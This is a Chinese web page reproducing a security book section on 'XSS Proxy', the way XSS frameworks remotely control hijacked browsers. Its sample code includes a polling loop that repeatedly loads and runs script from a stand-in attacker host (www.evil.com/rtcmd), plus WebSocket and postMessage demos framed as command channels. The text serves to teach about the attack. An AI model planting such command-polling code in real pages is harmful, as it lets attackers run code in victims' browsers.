返回介绍

7.7 XSS Proxy 技术

发布于 2024-01-20 15:41:03 字数 6581 浏览 0 评论 0 收藏 0

XSS Proxy技术用到了基于浏览器的远程控制上,这是一种非常好的思想,现在很多XSS利用框架,如XSS Shell、BeEF、Anehta等远程控制都是基于XSS Proxy的。

要实现远程控制,必须具备以下两个条件:

· 远控指令要在目标浏览器上“实时”执行。

· 执行结果要能够让控制端看到。

一般情况下,这个远控指令都是JavaScript代码,第2个实现起来很容易,就是请求控制端对应的数据接收接口而已;对于第1个条件,要么浏览器每隔几秒主动请求服务端指令接口,要么服务端主动推送指令给浏览器,这个过程如果延后几秒是没问题的,可以认为是实时的。

下面将介绍XSS Proxy技术的4种思路,它们各有千秋。

7.7.1 浏览器<script>请求

<script>标签请求内容可跨域,这是合法的功能,请求到的数据必须是合法的JavaScript语法格式。这种技术在之前有提过,包括请求回来的是JSON+CallBack函数这样的数据内容(这种跨域数据通信被称为JSONP),格式如下:

hijack([{
  "id": 585904,
  "text": "...",
  "sender_id": "Salina_Wu",
  "recipient_id": "ycosxhack",
  "created_at": "Sat May 31 05:00:01 +0000 2008",
  "sender_screen_name": "LOLO",
  "recipient_screen_name": "余弦"
},
//... 省略
])

然后结合JavaScript的setInterval函数,间隔几秒向远控服务端指令接口请求数据,而服务端可以根据控制者的需求生成指令到中间存储文件中(比如数据库、内存、文件系统等),由这个指令接口来统一调度这些生成的指令。

被控浏览器端的setInterval模型如下:

function inj_script(src,onload){
  o = document.createElement("script");
  o.src = src;
  if(onload){
    if (!window.ActiveXObject) {
      o.onload = onload;
    }
    else{
      o.onreadystatechange = function () {
        if (o.readyState == 'loaded' || 
          o.readyState == 'complete') {
          onload();
        }
      }
    }
  }
  document.getElementsByTagName("body")[0].appendChild(o);
  return o;
}
function remove_obj(o){
  document.body.removeChild(o);
}
setInterval(function () { // 每隔3秒执行一次
  // 注入脚本文件
  var rtcmd = inj_script('http://www.evil.com/rtcmd?date=' + 
               new Date ().getTime());
  setTimeout(function () {
    remove_obj(rtcmd); // 删除脚本文件对象
  }, 500);
}, 3000);

注入的脚本文件是一个服务端动态文件,也就是服务端指令接口,每次都会返回控制者生成的指令内容,如果没有指令,则返回空内容。

通过这个XSS Proxy模型是可以受到很多好的启示的,不过这个模型有一个缺陷,就是大多数时间,被控浏览器发起的服务端指令接口请求都是无用功,因为很可能并没有指令内容,控制者不会每隔3秒发出一个指令。

7.7.2 浏览器跨域AJAX请求

跨域AJAX请求在第2章中已详细介绍过,它也需要浏览器setInterval去主动发起服务端指令接口请求。唯一的好处是,这种请求是异步发起的,会显得更加安静,在此不过多地介绍了。

7.7.3 服务端WebSocket推送指令

严格地说,WebSocket技术不属于HTML5,这个技术是对HTTP无状态连接的一种革新,本质就是一种持久性socket连接,在浏览器客户端通过JavaScript进行初始化连接后,就可以监听相关的事件和调用socket方法来对服务端的消息进行读写操作。

WebSocket的官方地址是:www.web-socket.org,其中给出了一些样例,可以直接在线测试,当前Firefox与Chrome都支持WebSocket,且支持WebSocket的安全链接。

在WebSocket的官网主页面中,单击左边De-mos下的Echo Test链接,测试时,先单击“Con-nect”按钮或选择“Use secure WebSocket”复选框后单击“Connect”按钮,建立持久连接,接着在Message框里输入内容,单击“Send”按钮,就可以在Log框中看到相关记录,测试截图如图7-13所示。

图7-B WebSocket Demo测试

大家在测试时,可以看看请求头与响应头的内容,观察有什么不一样的地方。

这个样例的核心JavaScript代码与注释如下:

var wsUri = "ws://echo.websocket.org/";
// ws://协议表示这是WebSocket服务端地址
var output;
function init() {
  output = document.getElementById("output");
  testWebSocket();
}
function testWebSocket() {
  websocket = new WebSocket(wsUri); // 新建一个连接
  websocket.onopen = function (evt) { 
    // 当连接创建时,触发
    onOpen(evt)
  };
  websocket.onclose = function (evt) { 
    // 当连接关闭时,触发
    onClose(evt)
  };
  websocket.onmessage = function (evt) {
    // 当接收到服务端发送过来的消息时,触发
    onMessage(evt)
  };
  websocket.onerror = function (evt) { 
    // 当错误时,触发
    onError(evt)
  };
}
function onOpen(evt) {
  writeToScreen("CONNECTED");
  doSend("WebSocket rocks");
}
function onClose(evt) {
  writeToScreen("DISCONNECTED");
}
function onMessage(evt) {
  writeToScreen('<span>RESPONSE: ' + evt.data + '</span>');
  websocket.close();
}
function onError(evt) {
  writeToScreen('<span>ERROR:</span> ' + evt.data);
}
function doSend(message) {
  writeToScreen("SENT: " + message);
  websocket.send(message); // 发送消息到服务端
}
function writeToScreen(message) {
  var pre = document.createElement("p");
  pre.style.wordWrap = "break-word";
  pre.innerHTML = message;
  output.appendChild(pre);
}
window.addEventListener("load", init, false);

这种连接是可跨域的,这个特性导致我们至少可以用来做远控,客户端通过监听onmessage事件,就能及时响应来自服务端发送过来的指令。

7.7.4 postMessage方式推送指令

HTML5的postMessage机制非常优美,是客户端最直接的跨文档传输方法,一般用在iframe中父页与子页之间的客户端跨域通信。

例如,http://www.evil.com/postmsg/evil.htm的代码如下:

<html>
<head>
<title>evil</title>
</head>
<body>
<pre>
(1)利用window.postMessage()跨域传递消息
(2)本域是www.evil.com,向www.foo.com/postmsg/foo.htm 传递数据
<button id="btnPassData">跨域传递消息</button>
</pre>
利用iframe加载另一个域www.foo.com/postmsg/foo.htm:
<div>
  <iframe src="http://www.foo.com/postmsg/foo.htm" id="b_iframe" width="800" height="200">
  </iframe>
</div>
</body>
</html>
<script>
  window.onload = function() {
    document.getElementById("btnPassData").onclick = function() {
    var iframedom = document.getElementById("b_iframe").contentWindow;
    if (typeof window.postMessage !== "undefined") {
        // 利用子页的DOM窗口对象,跨域发送消息
        iframedom.postMessage("msg from "+document.domain, "http://www.foo.com/postmsg/foo.htm");
      }
    }
    // 绑定onmessage事件监听
    if (window.attachEvent) {
      window.attachEvent("onmessage", receiveMsg);
    }
    else {
      window.addEventListener("message", receiveMsg, true);
    }
  };
  var receiveMsg = function(e) {
    alert('i am '+document.domain+'\nget msg from: - '+e.data);
    // 获取传递过来的数据
  }
</script>

http://www.foo.com/postmsg/foo.htm的代码如下:

<html>
<head>
<title>foo</title>
</head>
<body>
接受来自www.evil.com域下传递过来的值:
<div id="r">
</div>
<script>
// 绑定onmessage事件监听
window.onload = function() {
  if (window.attachEvent) {
    window.attachEvent("onmessage", acceptMsg);
  }
  else {
    window.addEventListener("message", acceptMsg, true);
  }
}
var acceptMsg = function(e) {
  // 该函数用来表示在window.onmessage事件触发时进行接收数据的处理
  if(e.origin.indexOf("http://www.evil.com")!=-1){
      // 作用是排除其他非法域名,即只接收http://www.evil.com传递过来的数据
      document.getElementById('r').innerHTML = e.data;
    }
  window.top.postMessage("msg from "+document.domain, "http://www.evil.com/postmsg/evil.htm");  // pong
};
</script>
</body>
</html>

从代码中可以清晰地知道postMessage机制,这种跨域需要双方默契配合,且可以在客户端通过origin进行判断请求的来源是否合法,效果如图7-14所示。

图7-14 postMessage效果

这个技巧如果用于XSS Proxy上可能有些绕,攻击者的页面需要动态生成,然后在客户端层面进行跨域传输指令。这是一种思路,不过不好。

如果你对这篇内容有疑问,欢迎到本站社区发帖提问 参与讨论,获取更多帮助,或者扫码二维码加入 Web 技术交流群。

扫码二维码加入Web技术交流群

发布评论

需要 登录 才能够评论, 你可以免费 注册 一个本站的账号。
列表为空,暂无数据
    我们使用 Cookies 和其他技术来定制您的体验包括您的登录状态等。通过阅读我们的 隐私政策 了解更多相关信息。 单击 接受 或继续使用网站,即表示您同意使用 Cookies 和您的相关数据。
    原文